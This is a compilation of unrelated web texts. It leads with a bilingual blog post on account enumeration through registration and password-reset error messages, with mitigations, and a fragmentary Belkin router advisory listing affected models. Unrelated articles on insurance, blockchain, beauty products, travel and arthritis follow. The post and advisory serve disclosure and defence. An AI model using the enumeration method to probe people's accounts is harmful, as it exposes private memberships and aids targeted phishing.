The same problem also applies for email addresses. Most sites show an error message (or a hint to use the existing account) when trying to register with an already registered email address. This problem can be solved by requiring the user to verify the email address by clicking on a link sent to the user via email. If the email address is already registered, the site doesn't need to tell the client browser about the existing account. The site may then send a reminder about the existing account instead of a verification link via email. This makes sure that only the owner of the email address can find out whether there is an account for his email address.
The website operator should also make sure that the password reset functionality and changing the email address of an existing account (which an attacker can easily register for this purpose) doesn't reveal to the client browser whether a given email address is already registered at the site.
The measures proposed here may lead to some extra effort and losses of comfort (no freely choosable username, requirement to verify email address) and increased support expenditures. So there is an obvious trade-off between usability and privacy. For some sites such as job application portals, dating sites or forums about sensitive topics it is obvious that privacy should have priority over usability and the existence of an account shouldn't be revealed to unauthorized third parties.
8. Mitigation options for users
Users may also protect their privacy by using secret email addresses/aliases for registering sensitive accounts. You can easily register a new account at a freemail provider of your choice for this. However, registering too many email accounts may be problematic since it requires users to remember all email addresses/passwords and regularly check all the accounts for incoming mails. As an alternative, some email providers such as hotmail allow setting up a limited number of alias addresses for one account, so that a user can check incoming emails to multiple addresses with one single email account. Many providers also allow appending a plus sign and a random string to an email address. You can for instance use john.doe+someRandomString@email.provider instead of john.doe@email.provider when doing a confidential application to a company. Since an attacker only knows the base address (john.doe@email.provider) and can't guess the random string you appended, he can't check whether you have already registered an account. However, you should keep in mind that you will need the full email address used for the registration for doing a password reset. So it may be a good idea to write down the email alias you used for the registration.
If you have already registered at a sensitive site with a non-secret email address, you can still change your email address to an alias. Most sites allow changing the email address in the profile settings. However, some sites still block the registration of a new account with the same email address thus revealing the fact that there had been an account. You may also inform the website operator if a site you know/are using is affected by the problem and the existence of an account should be kept strictly confidential based on the nature of the website.
If you want to hide the existence of an account, you should also choose a username which is non-guessable even for someone who knows you. This is obvious for community sites such as forums or dating sites with publicly visible nicknames. However, even for sites such as job application portals where you expect your data to be treated confidential, you should still choose a non-guessable username.
Informationsleak bei vielen Webseiten und Online-Bewerbungsportalen
English version of this post
1. Zusammenfassung
Für die Nutzung vieler Webseiten wie z.B. Foren, Partnerbörsen, Bewerbungsportalen, Newslettern oder sozialen Netzwerken muss man sich als Benutzer registrieren. Für diese Registrierung ist in der Regel die Angabe einer Mailadresse sowie eines frei wählbaren Pseudonyms als Benutzername erforderlich. Die meisten Internetnutzer gehen dabei davon aus, dass lediglich das Pseudonym öffentlich sichtbar ist und die Mailadresse vom Betreiber der Seite vertraulich behandelt wird. Je nach Art der Seite sollte bereits die Existenz eines Accounts zu einer bestimmten Person/Mailadresse geheimgehalten werden, weil bereits die Existenz eines Accounts gewisse Rückschlüsse über den Accountinhaber zulässt. Eine Registrierung in einem Forum zu einer bestimmten Krankheit lässt beispielsweise den Schluss zu, dass der Accountinhaber an dieser Krankheit leidet. Durch das hier vorgestellte Problem können unbefugte Dritte bei vielen Webseiten einfach feststellen, ob zu einer bestimmten Mailadresse ein Account existiert. Im Falle eines Bewerbungsportals bedeutet die Existenz eines Accounts in der Regel, dass der Accountinhaber sich bei der Firma beworben hat. Damit kann ein Arbeitgeber herausfinden, dass sich einer seiner Mitarbeiter bei einer anderen Firma bewirbt.
2. Beschreibung des Problems
Das Problem besteht darin, dass man beim Registrieren eines Accounts eine entsprechende Fehlermeldung bekommt, wenn bereits ein Account mit der angegebenen Mailadresse oder dem gewählten Benutzernamen existiert. Ein unbefugter Dritter kann damit durch den Versuch einer Registrierung mit der Mailadresse oder dem Benutzernamen des potentiellen Accountinhabers feststellen, ob eine Mailadresse oder ein Benutzername bereits auf einer Seite registriert ist.
Die Mailadresse ist fest einer Person zugeordnet und somit kann man aus der Existenz eines Accounts zu einer Mailadresse schließen, dass der Besitzer der Mailadresse sich auf der Seite registriert hat. Ein Arbeitgeber kennt in der Regel zumindest eine private Mailadresse des Mitarbeiters und kann somit feststellen, ob sich der Mitarbeiter mit dieser Mailadresse im Bewerbungsportal einer anderen Firma registriert hat. Man kann über dieses Problem zwar keine Details über den Account wie z.B. das verwendete Pseudonym zu einer Mailadresse oder das abgeschickte Bewerbungsschreiben herausfinden. Allerdings kann allein das Offenbaren der Existenz eines Accounts im Bewerbungsportal einer konkurrierenden Firma unerwünschte Konsequenzen für das bestehende Arbeitsverhältnis des Bewerbers haben.
Für einige Seiten wie z.B. Bewerbungsportale kann der Benutzername in vielen Fällen ebenfalls fest einer bestimmten Person zugeordnet werden (insbesondere bei seltenen Namen und/oder kleinen Branchen), da viele Nutzer dort einen vorhersehbaren Namen wie z.B. "Vorname.Nachname" oder ein dem bisherigen Arbeitgeber bekanntes Pseudonym wählen und auf eine vertrauliche Behandlung der Daten vertrauen.
Manche Webseiten verzichten auf einen eigenen Benutzernamen und verwenden zum Einloggen statt dessen nur die Mailadresse und das Passwort. Bei anderen Seiten wird ein zufälliger Benutzername vom System vergeben. Bei den meisten dieser Seiten lässt sich ebenfalls durch den Versuch einer Neuregistrierung feststellen, ob eine bestimmte Mailadresse bereits registriert ist.
3. Verbreitung des Problems bei Bewerbungsportalen
Ich habe durch den Versuch einer Doppeltregistrierung mit dem gleichen Benutzernamen bzw. der gleichen Mailadresse die Bewerbungsportalen von einigen großen Firmen getestet. Von den 30 Konzernen im DAX-Aktienindex sind 27 von dem Problem betroffen. Die übrigen 3 Firmen betreiben entweder kein Bewerbungsportal oder ermöglichen nur direkte Bewerbungen ohne vorherige Registrierung eines Accounts. Daher gehe ich davon aus, dass die überwiegende Mehrheit der Firmen, die ein Online-Bewerbungsportal betreiben, von dem Problem betroffen sind. Auch die Bewerbungsportale von vielen internationale Konzerne wie z.B. IBM oder Intel sind von dem Problem betroffen.
4. Andere problematische Online-Accounts
Das Problem tritt nicht nur bei Bewerbungsportalen sondern auch bei diversen weiteren Webseiten wie z.B. Online-Shops, Foren, Newslettern, sozialen Netzwerken oder Partnerbörsen auf. Allein die Existenz eines Accounts in einem Forum lässt in einigen Fällen bereits problematische Rückschlüsse über den Accountinhaber zu. Beispielsweise könnte ein Arbeitgeber anstelle der verbotenen Frage nach einer Schwangerschaft überprüfen, ob eine Bewerberin mit der für die Bewerbung verwendeten Mailadresse in einem Forum zum Thema Schwangerschaft registriert ist und gegebenenfalls unter einem Vorwand auf eine Einstellung verzichten. Auch eine Registrierung in einem Forum zu einem sensitiven Thema wie z.B. Arbeitnehmerrechte, Homosexualität, bestimmten politischen/weltanschaulichen Ansichten/Aktivitäten, Krankheiten (z.B. HIV) oder psychischen Problemen sollte nicht für jeden sichtbar sein. Die meisten Nutzer gehen davon aus, dass die Mailadresse vom Betreiber des Forums vertraulich behandelt wird und nur ein frei wählbares Pseudonym öffentlich sichtbar ist. Daher kann es höchst problematisch sein, wenn jeder, der die Mailadresse kennt, eine Mitgliedschaft in einem derartigen Forum feststellen kann.
5. Möglicher Missbrauch durch Cyberkriminelle
Die Existenz eines Accounts in einem Forum oder einem Supportportal zu bestimmten Hardware- oder Softwarekomponenten kann einem Angreifer verraten, dass ein Benutzer bestimmte Hardware/Software benutzt. Damit kann ein Angreifer gezielt Sicherheitslücken in diesen Komponenten ausnutzen.
Cyberkriminelle könnten das Problem verwenden, um die Effektivität ihrer Angriffe zu steigern. Beispielsweise ist es möglich, Phishing-Mails gezielt nur an die Mailadressen zu schicken, die auf der jeweiligen Seite tatsächlich registriert sind. Beim Versuch einer Accountübernahme durch Ausprobieren des Passworts (oder der Sicherheitsfrage zum Zurücksetzen des Passworts) kann es für einen Angreifer ebenfalls sinnvoll sein, vorher zu überprüfen, ob zu einem bestimmten Benutzernamen oder einer Mailadresse tatsächlich ein Account existiert.
6. Bestätigungsmails
Manche Seiten schicken beim Versuch einer Registrierung eine Bestätigungsmail an die angegebene Mailadresse. Über diese Bestätigungsmail kann der Nutzer erkennen, dass jemand versucht hat, sich mit der Mailadresse des Nutzers zu registrieren.
Einige Seiten zeigen (beispielsweise durch eine entsprechende Ajax-Anfrage an den Server) bereits vor Abschicken des Registrierungsformulars an, ob eine Mailadresse oder ein Benutzername bereits registriert ist. In diesem Fall wird keine Bestätigungsmail an den Besitzer der Mailadresse geschickt. Andere Seiten weisen nach dem Abschicken des Registrierungsformulars auf die bereits vergebene Mailadresse hin, auch wenn die Registrierung bereits aus anderen Gründen wie z.B. einem fehlenden Passwort, einem bereits vergebenen Benutzernamen oder nicht ausgefüllten Pflichtfeldern scheitert. In diesem Fall wird ebenfalls keine Bestätigungsmail verchickt und ein Angreifer kann dennoch feststellen, ob eine Mailadresse auf der Seite registriert ist.
Selbst wenn eine Bestätigungsmail verschickt wird, wird diese von den meisten Nutzern ignoriert, da sie sich nicht selbst registriert haben und kommen nicht auf die Idee, dass jemand versuchen könnte, mit der Mailadresse registrierte Online-Accounts zu finden. Und selbst wenn ein Benutzer das Problem kennt, kann es schwierig oder unmöglich sein, den Verantwortlichen für den Angriff zu finden.
7. Lösungsmöglichkeiten für Seitenbetreiber
Technisch lässt sich das Problem durch eine entsprechende Anpassung der betroffenen Webseiten lösen. Je nach Art der Seite muss man dazu auf einen frei wählbaren Benutzernamen verzichten, weil dieser ja schon vergeben sein kann und dies zwangsläufig zu einer Fehlermeldung beim Versuch einer Neuregistrierung mit dem selben Benutzernamen führt. Bei Seiten, auf denen der gewählte Benutzername/Nickname sowieso öffentlich sichtbar ist (z.B. Foren oder Partnerbörsen) und sich die meisten Nutzer mit einem Pseudonym registrieren, ist dies natürlich unproblematisch. Bei anderen Seiten wie z.B. Bewerbungsportalen, auf denen eine vertrauliche Behandlung der Daten allgemein erwartet wird und viele Benutzer sich nicht mit einem Pseudonym sondern mit dem richtigen Namen registrieren, ist wahrscheinlich ein Verzicht auf einen frei wählbaren Benutzernamen notwendig. Statt dessen kann man entweder einen zufälligen Namen vergeben oder ganz auf den Benutzernamen verzichten und die Mailadresse als Benutzername verwenden.
Das selbe Problem tritt auch bei der Mailadresse auf. Wenn man versucht, sich mit einer bereits registrierten Mailadresse erneut zu registrieren, dann bekommt man bei den meisten Webseiten ebenfalls eine Fehlermeldung bzw. die Aufforderung, sich mit dem bestehenden Account einzuloggen. Als Lösung für dieses Problem könnte man eine Verifizierung der Mailadresse durch einen Bestätigungslink einführen. Falls die Mailadresse bereits registriert ist, dann kann man auf eine Fehlermeldung gegenüber dem anfragenden Webbrowser verzichten und statt der Bestätigungsmail eine Erinnerung an den bestehenden Account verschicken. Auf diese Weise kann nur der Besitzer der Mailadresse feststellen, ob es zu der Mailadresse bereits einen Account gibt.
Auch bei der "Passwort Zurücksetzen" Funktion sowie beim Ändern der Mailadresse zu einem bestehenden Account (den der Angreifer zu diesem Zweck leicht registrieren kann) muss sichergestellt werden, dass man aus dem Verhalten der Seite keine Rückschlüsse auf die Existenz einer bestimmten Mailadresse ziehen kann.
Die hier vorgeschlagenen Maßnahmen sind allerdings mit einem gewissen Zusatzaufwand verbunden und führen unter Umständen zu Einbußen beim Komfort (kein selbst gewählter Benutzername, Verifizierungslink für Mailadresse) sowie erhöhtem Supportaufwand. Daher besteht natürlich ein gewisser Konflikt zwischen der Benutzerfreundlichkeit und dem Schutz der Privatsphäre. Für einige Seiten wie z.B. Bewerbugsportale, Partnerbörsen oder Foren über bestimmte Themen ist jedoch offensichtlich, dass die Privatsphäre der Benutzer geschützt werden muss und die Seite nicht unbefugten Dritten die Existenz von Accounts verraten sollte.
8. Schutzmöglichkeiten für Benutzer
Benutzer können ebenfalls durch bestimmte Maßnahmen ihre Privatspähre schützen. Beispielsweise kann man für die Registrierung sensitiver Accounts eine neue Mailadresse bei einem Freemail-Provider registrieren. Allerdings ist das Registrieren und Verwalten von vielen Mailaccounts problematisch, weil man sich alle Mailadressen und Passwörter merken muss sowie regemäßig eingehende Mails von allen Accounts abrufen muss. Als Alternative kann man bei einigen Mailprovidern wie z.B. Hotmail eine begrenzte Zahl von Alias-Adressen für einen Account erzeugen und dadurch mit einem einzigen Account mehrere Mailadressen benutzen. Zusätzlich ermöglichen es viele Provider, an die Mailadresse ein "+" und einen weiteren String anzuhängen. Beispielsweise kann man für die Registrierung eines Accounts die Adresse john.doe+someRandomString@email.provider anstelle von john.doe@email.provider verwenden. Da ein Angreifer nur die Basisadresse (john.doe@email.provider) und nicht den zufälligen String danach kennt, kann er nicht feststellen, ob der Benutzer einen Account registriert hat. Allerdings sollte man dann bereits beim Anlegen des Accounts berücksichtigen, dass man für ein eventuell nötiges Passwort-Reset die volle Mailadresse benötigt, mit der man sich registriert hat. Daher ist es sinnvoll, sich bei der Registrierung eines Accounts die verwendete Mailadresse aufzuschreiben.
Wenn man bereits einen sensitiven Account mit einer nicht geheimen Mailadresse registriert hat, dann kann man bei vielen Seiten die Mailadresse in den Profileinstellungen nachträglich ändern oder den Account löschen und damit die Existenz des Accounts verschleiern. Allerdings blockieren manche Seiten auch nach einer Änderung der Mailadresse weiterhin die Neuregistrierung mit der alten Mailadresse und offenbaren somit die Tatsache, dass ein Account zu der Mailadresse existiert oder existiert hat.
Außerdem kann man als Benutzer betroffene Seitenbetreiber informieren, wenn die Existenz eines Accounts aufgrund der Art bzw. des Themas der Seite unbedingt vertraulich bleiben sollte.
Wenn man die Existenz eines Accounts verbergen will, dann sollte man natürlich einen Benutzernamen wählen, der (auch von Bekannten oder dem Arbeitgeber) nicht einfach erraten werden kann. Dies ist offensichtlich für Seiten mit öffentlich sichtbaren Benutzernamen/Nicks (z.B. Foren oder Partnerbörsen). Aufgrund des hier beschriebenen Problems sollte man jedoch auch bei Seiten wie Bewerbungsportalen, auf denen man eine vertrauliche Behandlung der Daten erwartet, einen nichterratbaren Benutzernamen verwenden.
I. Background
II. Description of vulnerability
III. Impact
The attacker may also connect to the wireless network, which may allow further exploitation of unprotected systems in the local network. An attacker may furthermore use the wireless network to access the internet from the owner's network. The network owner may then be held responsible for any illegal activities perpetrated by the unauthorized users.
IV. Affected devices
Belkin Surf N150 Model F7D1301v1
Belkin N900 Model F9K1104v1
Belkin N450 Model F9K1105V2
Belkin N300 Model F7D2301v1
V. Solution
VI. Timeline
6.1.2012: Vendor contacted
27.1.2012: Escalated
29.10.2012: Another contact attempt, still no response
19.11.2012: Public disclosure
VII. Credits
Jakob Lell
Jörg Schneider
VIII. References
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global_05_local_5_shard_00002591_processed.jsonl/41541 | What's an HO1 Form?
HO1 policy, also called the basic form, is bare bones homeowners insurance. It lists the specific perils, or events, your insurance provider covers. If a peril is not explicitly listed in the policy, it is not covered by HO1.
What Do Homeowners Need to Know about HO1?
First, it helps to know that insurance agents issue policies on policy forms. Each form addresses a different situation and set of risks. HO1 provides coverage for an owner-occupied, standalone home and its contents. It is a named-peril policy, which means it only covers the 10 perils listed in the policy:
• Fire or lightning.
• Hail or windstorms
• Explosions
• Riots or civil commotion
• Damage from aircrafts
• Damage from vehicles
• Smoke
• Malicious mischief or vandalism
• Theft
• Volcanic eruptions
That list may seem comprehensive, but some important risks are missing. For instance, HO1 policies do not cover:
• Flood
• Earthquake
• Falling objects
These events are more common than you may think, plus they can cause significant and costly damage.
Additionally, some HO-1 policies do not cover your personal property even if it’s damaged by a named peril. In that case, homeowners may want to buy a separate policy for the contents of their home.
These limitations make HO-1 policies unpopular. Homeowners can usually afford more comprehensive coverage on other forms, and that’s the kind of insurance mortgage lenders typically want you to have.
What Should I Do If I Have an HO1 Policy?
You may need to look into supplemental insurance if you have an HO-1 policy. This can come in the form of endorsements to your current coverage or standalone policies for:
• Flood. You can get flood insurance from the National Flood Insurance Program or through a private insurer (like Kin!).
• Earthquake. Many insurance carriers offer an earthquake option on their home insurance policies for an extra cost.
• Personal property. You can buy a policy specifically for the contents of your house or add a rider to your HO1. A rider adds to the overall cost of your home insurance.
However, your better option may be to find an open-perils policy. Plenty of insurers offer affordable open-perils coverage on the HO3 form, including Kin. Even better? HO3 policies generally include personal property and personal liability coverage. And you don’t have to wait for your policy term to end before you shop around. You can switch home insurance carriers at any time.
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IBM upgrades enterprise blockchain platform to support Azure, AWS
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Today IBM announced IBM Blockchain Platform Multicloud. The big news is that IBM’s blockchain solution now runs on other clouds, be that Azure or AWS as well as on premises.
Until recently, if you wanted to use IBM Blockchain Platform, that meant you had to use the IBM Cloud. Many enterprise networks are consortia, and even if the founding members used IBM, new participants are likely to have existing cloud deployments on other networks.
At the Hyperledger Global Forum at the end of last year, IBM Blockchain CTO Gari Singh explained. “When we started out, our distribution of Fabric, the IBM Blockchain Platform was a [IBM] cloud first solution. At the beginning that made a lot of sense because a lot of times the networks were more pilot networks or you had a single entity that was the backbone of the network.”
As networks and ecosystems have expanded and entered production, the situation is more complicated. Singh gave an example of a consortium. “We want to bring on XYZ company, but XYZ has a contract with Azure or AWS or Oracle,” he said. “How do we allow those guys to connect up a peer [node] to join the network and how can you support that?” That multi-cloud and on-premise feature is the most significant change in IBM Blockchain Platform 2.0.
Another is the IBM Blockchain code is available in containerized form using Kubernetes.
As Jerry Cuomo, IBM’s VP of Blockchain Technology said in a blog post, “now it’s time for those networks to grow anywhere.”
What is it?
But the real question is what exactly is IBM Blockchain Platform? We’ve found that there’s a lot of confusion in the marketplace. Even though IBM is an important contributor to open source Hyperledger Fabric, it is not owned by IBM. It’s not “IBM’s” Hyperledger Fabric. And the version of Fabric delivered in IBM’s Blockchain Platform is identical to the open source version, but IBM’s Blockchain Platform provides additional tooling.
That tooling aims to make it easier to build, for example, a trade finance solution or a supply chain solution. It makes it quicker to set up a basic blockchain and deploy smart contracts. There’s also an extension to Visual Studio Code the popular software that developers use for coding.
While it’s entirely possible to use Hyperledger Fabric and get it up and running yourself, the IBM tooling aims to make it easier to set up a permissioned network. That involves defining which organizations run nodes, establishing the trust and consensus models, and what the rules are for channels, which is IBM’s concept of mini private blockchains.
Enterprises need value-added services to be able to monitor data, to ensure the nodes are up and running, to check that data is backed up and to enable data to be restored.
And if different parts of the network are spread amongst a variety of cloud providers, there still needs to be one command and control center for monitoring.
Singh summed it up: “This vision is of blockchain at its best. It’s not one vendor controlling the software. It’s not one vendor controlling the cloud. It’s not one organization controlling everything. We can now actually leverage all the great things that are in Hypeledger Fabric, and we can support you wherever you need to be. And we can also help to support networks that want to work with IBM, but they have other members that don’t.”
IBM also took the opportunity to highlight a few client projects. One is the advertising blockchain network from MediaOcean, which is in production. When it announced in June 2018 brands included Kellogg, Pfizer and Unilever.
Another example is openIDL from the American Association of Insurance Services (AAIS), which helps its 700 insurance members report statistics to regulators in 51 states.
Talking about IBM’s Blockchain Platform, Joan Zerkovich, SVP Operations, AAIS said: “The network management tools are way ahead of competitors’ offerings, and a critical aspect of what we do.”
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About the work of the Rosycross Foundation - How the idea of a symposium takes shape
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It was near the end of 2018. I looked out the window at the bare trees and was upset. How come? I was about to start a Skype meeting with an expert in psychoanalysis: Annegret Hallanzy. She had written a sensational, highly exciting book: The Software of the Soul. I emailed her because I wanted to see if I could have her as a speaker for the Rosycross Foundation. At the time, the Foundation had started a new project: What is about to evolve? Spirituality in the 21st Century.
Slowly, but ever more clearly, doubts arose in me. First like scattered pearls in sparkling wine, beading slowly and finally spurted: Am I even able to talk to her eye to eye? What do I know about her? What was in her book again? What can I tell her about the Rosycross or even better yet about my own growth and experience? Am I ready to reveal anything about myself? Now there is no hiding, as the meeting is about to begin.
As soon as I saw Annegret Hallanzy on the other end of the call, all my doubts – big and small - disappeared. There was no fog at all, just the quiet, exciting joy of the meeting.
We started talking, our thoughts whirling around each other; but in a short time it was clear that two searching and struggling souls have met. We knew that a fruitful exchange had begun, a heart-to-heart cooperation, from consciousness to consciousness. Here, two "T-shaped" people were willing to look beyond their own perceptions, to network and create a fruitful coexistence. Inner joy flooded me.
I call ourselves "T-shaped people" because on the one hand we carry a being deeply anchored within, transforming itself in us - the vertical line of the T. On the other hand, the horizontal bar of the T stands for connecting, embracing everything on a wide level.
Openness allows an incredible depth of communion. Curiosity makes us see the space that the other opens to us. For a short moment, we see through the other one’s eyes and associate our patterns and impressions with it. The result is a flow of language, togetherness, exchange, questions and answers, searching and finding, but also the discovery of dead ends and backyards.
The person-to-person finding of each other can reach a spiritual dimension
(Rudolf Steiner, The Work of the Angel in our Astral Body, 1918).
Life holds a huge growth potential. It is an infinite stream of eternal change, yet a constant resonates behind it. This unnamable force, this potential, seeks its expression, its formation in us. We can make ourselves its vessel. Then we experience both its soul-spiritual components, as well as its temporal and spatial impact
In the magazine evolve (no. 21, Spring 2019), Ruth Langsford speaks about the "the interval between the great inhalation and exhalation process" in which we currently stand:
"In many prophecies and ceremonies we see the awakening of the Mystery. Hidden creative beings, spiritual knowledge, or ancient secrets all over the world awaken after having hitherto predominantly slumbered. They create new forms of reconnection and new forms of dialogue that will reawaken what is primordial."
The Rosycross Foundation is dedicated to this dialogue.
Annegret Hallanzy, Die Software der Seele (The Software of the Soul), 2nd edition, Gelnhausen 2015 (Especially recommended: Chapter 4: The three sense misunderstandings of humanity of consumption, goodness and enlightenment)
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global_05_local_5_shard_00002591_processed.jsonl/41618 | Tuesday, 12 July 2016
Monsoon Hair Care With Moha Herbal Shampoo & Conditioner
Joyful rainy season and painful hair woes..what a tragic contrast :(
My hair have been screaming since months and truly gave me nightmares because of weather-induced problems... and since I love my crowing beauty so so much, I knew its the time to integrate wonder herbs in my hair care routine.
I tried the Moha Herbal Shampoo and Conditioner combo for three weeks with almost ten washes in this duration and felt relieved..
For gorgeous, silky hair, treat your hair to Moha Herbal Hair Conditioner. It has Aloe that keeps the hair at an optimal pH, while Almond Oil and WheatGerm Oil are rich in Vitamin E and fatty acids, to retain moisture. Jojoba Oil forms a protective layer around each strand.
Ingredients (Shampoo):
Ingredients (Conditioner):
• Aloe barbadensis – Aloe’s alkaline property helps to maintain the pH of the scalp and hair at an optimal level, keeping the hair moisturized and promoting hair growth
• Almond oil – High in Vitamin E, it is proven for its ability to condition the hair
• Jojoba oil – Produces a thin film around each hair shaft and over the scalp surface, to maintain ideal moisturization.
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Shampoo - Rs. 125 for 100 ml. Buy here
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Shelf Life: 2 yrs for both.
Moha Herbal Shampoo is a clear liquid of runny consistency. It smells very light (almost seems fragrance free), so people who prefer zero fragrance personal care products are surely in for it. Usually my hair are not so problematic all the year long, but I surely need to treat them more patiently with more frequent massages and washes during humid weather to avoid that sticky feel on my scalp. I've been using this shampoo twice a week for a couple of weeks now. The shampoo cleans the hair very well without stripping hair of moisture. The scalp doesn't feel any stingy sensation on application and causes no irritation or scratching after rinsing it off. Using the product regularly has made my hair much more manageable and shining in better health. It makes my hair real soft and smooth.
For flaunting luxurious locks, one should nourish them with a suitable conditioner as per hair type. Since I had got the Moha Herbal conditioner that also has Aloe as main ingredient, I use it paired with the shampoo. The conditioner looks delicious. The texture and consistency of conditioner makes it easy to massage onto hair shaft evenly. It has sweet fragrance that doesn't last very long, but give a fresh feel to otherwise messy and sweaty hair. The dry, frizzy hair are easily tamed using this product and it gives nice volume to hair.
The best part about this shampoo-conditioner combo is its non-harsh effect on scalp and hair. It has controlled my flyaways to a great degree. The functionality and affordability of the products is absolutely wannable for most of us. I would recommend these as a good fix for your troubled hair.
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global_05_local_5_shard_00002591_processed.jsonl/41675 | Alarm technician is frustrated, here's why!
I've been staying on top of this system, for the last 8 years. As you know I've never complained, not much anyways. But it's getting old. I've replaced batteries in the devices that are wireless, to only have to do it again 10 minutes later. I've had 3 sensors go faulty, only to have the faulty signal move device to device, basement to attic. I'm getting too old for the stair climbing. I suggest we take 10 batteries, put them in a dish and leave them out to see if it redirects the problem-bait the trap, maybe put a motion camera on it. I know we tried 4 years ago and something kept turning the camera off. Let's try again! Now the cameras are 100% controlled wireless from the web!
I know the new keypad on the main floor you reported wasn't working. So here's the problem. See the light on the motion sensor in the center of the picture? This is a 3 step motion, requiring 100+ pound mass(for false pet trigger avoidance)minimum aka ultra sonic, thermal minimum aka passive infra red sensor detecting heat, and microwave energy detecting electromagnetic radiation. Here's the problem Patrick something is triggering all 3, yet without triggering all the other devices- exterior doors, 3 motions before you get to this one. This is at the bottom of the super creepy basement-I hate this room, my hair on my arms always stands up. So I'll meet you there today, and we are going to add 2 more motions to this room, the creepy bastards will have to trigger all 3 motions to fire the system. It was funny at first, now it's past that, see you at noon. I'm also bringing batteries for bait!
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global_05_local_5_shard_00002591_processed.jsonl/41698 | Ozotic Mish Mash collection: #532
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I will go on with the presentation of the Ozotic Mish Mash collection which consists of 4 holographic multichrome polishes. I already showed you Ozotic 531. You can view it here. #531 shifts from rusty copper to purple and at certain angles, you can also see some green and gold.
Today I will show you #532!
Hey hey! Have you noticed something strange?....
In fact:
• on my pinky and ring finger, I wore: 2 coats of Ozotic 532 over 1 coat of Color Club Revvolution.
• on my index and middle finger: the combo I presented you here: 1 coat of Color Club Revvolution + 2 coats of Ozotic 505 + 1 thin coat of Glitter Gal Silver 3D/Holo (707H).
They are pretty similar, aren't they?
So I think both options have their own pros and cons.
With Ozotic 532, you will only need one polish (and the base color) to achieve a multichrome and holographic look.
With my combo (Ozotic 505 + Glitter Gal Silver 3D/Holo), you need 2 polishes to achieve this look. One for the multichrome effect (Ozotic 505) and one for the holographic touch (Glitter Gal Silver 3D/Holo). However, this second option gives you more freedom as you can try different styles. You can either use the polishes separately or use them together or with other polishes to create an endless number of different manis!
Ozotic 532 was really easy to apply. I used 2 coats over black. Because it's sheer, it's better to layer it over a base color. Its weartime was really impressive for a holographic polish. I wore it for 5 days without any chips! With my combo Ozotic/Glitter Gal, as I used more layers, I had minor chips earlier but they were really minor (you can add some polish on the tip where the chip is and it's done). Again, as the polishes are sheer, you don't have to be afraid to layer them as they are thin...so you don't get a thick feeling on the nails.
I am really pleased with Ozotic 532. It's multichrome with its shift from blue/silvery blue to purple and holographic at the same time. Isn't that gorgeous? Moreover, the holo is quite strong and you can cleary see it even if you're not in a sunny place. I had a lot compliment with this polish because it's so intriguing. It keeps changing colors and you also have this amazing rainbow of colors due to the holo effect. This makes this polish looks really mysterious and beautiful!
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global_05_local_5_shard_00002591_processed.jsonl/41701 | How to Get to Positano and the Amalfi Coast
How to Get to Positano and the Amalfi Coast
How to Get to Positano or Amalfi by Sea
The sea routes for the Amalfi Coast are only active during the summer, and unfortunately there are no longer direct routes by sea from Naples to the Amalfi Coast.
Ports of departure for high speed ferries and ferries for Positano and Amalfi:
• Salerno
• Sorrento
• Capri
These routes are generally active from April to mid-October. In July and August, a number of routes to towns along the Amalfi Coast are also active.
Stress-free Arrivals on the Amalfi Coast
Getting to the Amalfi Coast can be a long and stressful trip. To avoid this, we strongly recommend reserving a private transfer. Otherwise, if traveling by train, take the high speed Freccia Rossa to Salerno and from there a ferry to Amalfi or Positano.
Choose a high speed ferry leaving from the port of Piazza Concordia, about 500 meters from the station. The Molo Manfredi pier is about 2 kilometers away.
Please Note
The pier where ferries to Positano dock is near the Spiaggia Grande and it be quite an uphill climb up to your hotel. In that case, it is worth it to hire porter service when you arrive. Always check your hotel location in relation to the pier before opting to arrive by sea!
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For something made in two days, that was quite good. The animation was very impressive. This guy looks like a hunchback. I don't see old people that bad. Of course, I don't see them that good either. Of course his hip would hurt.
I thought it would just be a long gag of him walking. I'm glad it wasn't. This was a cute little cartoon. It's just nothing that noteworthy. It's worth a quick watch, though.
I knew they were hiding something from me!
sooooo....that proves that old ppl when they get old they will have incredably upper body stringth and poor lowerbody stringth, right? ;p
epicly funny.
Aww, my hip!
I knew it, they hid that from me, but i knew it!
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global_05_local_5_shard_00002591_processed.jsonl/41711 | What Does Arthritis Feel Like?
It's estimated that 20% of Americans are affected by arthritis in at least one joint, and it is more common among women, and occurs more frequently as people age. The disease sometimes develops from an injury, or after many years of use as the shock absorbing cartilage that normally cushions the joints wear away. What does arthritis feel like? It depends on which joint is affected, the type of arthritis, and how long the disease has had time to develop.
What Does Arthritis Feel Like?
In all types of arthritis, the area around a joint, such as the wrist, knee, or elbow, can become red, swollen, and tender to the touch. It may also feel warm, and people afflicted with arthritis explain that their condition puts limitations on both physical and social issues in their lives.
• Physical limitations: It affects their ability to walk more than short distances, lift or grasp objects, or their ability to bend over. As the arthritis progresses, it interferes with every aspect of daily life, such as using the toilet, and personal hygiene like grooming and bathing. Routine tasks become arduous, such as laundry, shopping, and household cleaning.
• Social limitations: Arthritis, and the chronic pain associated with it, also affects people's social and leisure activities, straining marriages and partnerships. A shift in care-giving responsibilities and impacts on sexual activities sometimes complicate matters further. Unfortunately, many people who suffer from arthritis may feel a loss of control and helplessness that often leads to depression.
Personal Experiences with Arthritis
"When I get it in my spine, it's sharp and sudden inducing spasm. It hits randomly, but is worse at night. When it hits my hips, it's like a constant ache when I am walking; however, if I overextend/rotate it, the pain is sharp and sudden. For my fingers and toes, it's as if someone took a hammer to them, or I've jammed them in a door. They become hot, swollen, and almost unusable." - Dorothy
"What does arthritis feel like? My arthritis feels horrible as it hits me in a couple of different ways. Whenever the weather changes, the joints in my hands and knees feel like a bad toothache. If I overuse my weight-bearing joints at the hips, it feels like I'm grinding up glass shards." - Jim
"My arthritis can be anything from a gnawing ache to severe pain. I'm not sure why the intensity changes, but I think the weather makes a difference, overusing the joint, or maybe even what activity I am doing. The arthritis is my knees become worse when I climb the stairs, and they sometimes give out altogether. Of course bending over a lot tends to cause my lower back and hips to aching." - Mary
"It's really difficult to say…For me, the pain is sharp and extreme just like you've ripped your muscle! Or it feels like someone is hitting you really hard with a hammer." -Troy
"My pain always changes. It could be my feet and legs which feel a burning and pulling sensation. Or it could be my hands that feel so tight and sore that I couldn't even more my fingers." - Ritu
How to Describe Your Pain
To determine whether your pain is due to rheumatoid arthritis, osteoarthritis, or another type of arthritis, your physician will ask you some questions about your pain, how it affects your body and life, when it happens, and how severe it gets. Your physician might also ask you to rate your pain on a scale from 1 (very little pain) to 10 (severe pain).
Before you speak with your physician, think about the words you'll use to describe your joint pain. Here are some terms that can help your physician to get the full picture. Pick the ones that most accurately describe your arthritis pain when asked, what does arthritis feel like?
• Aching: a continuous, sore pain
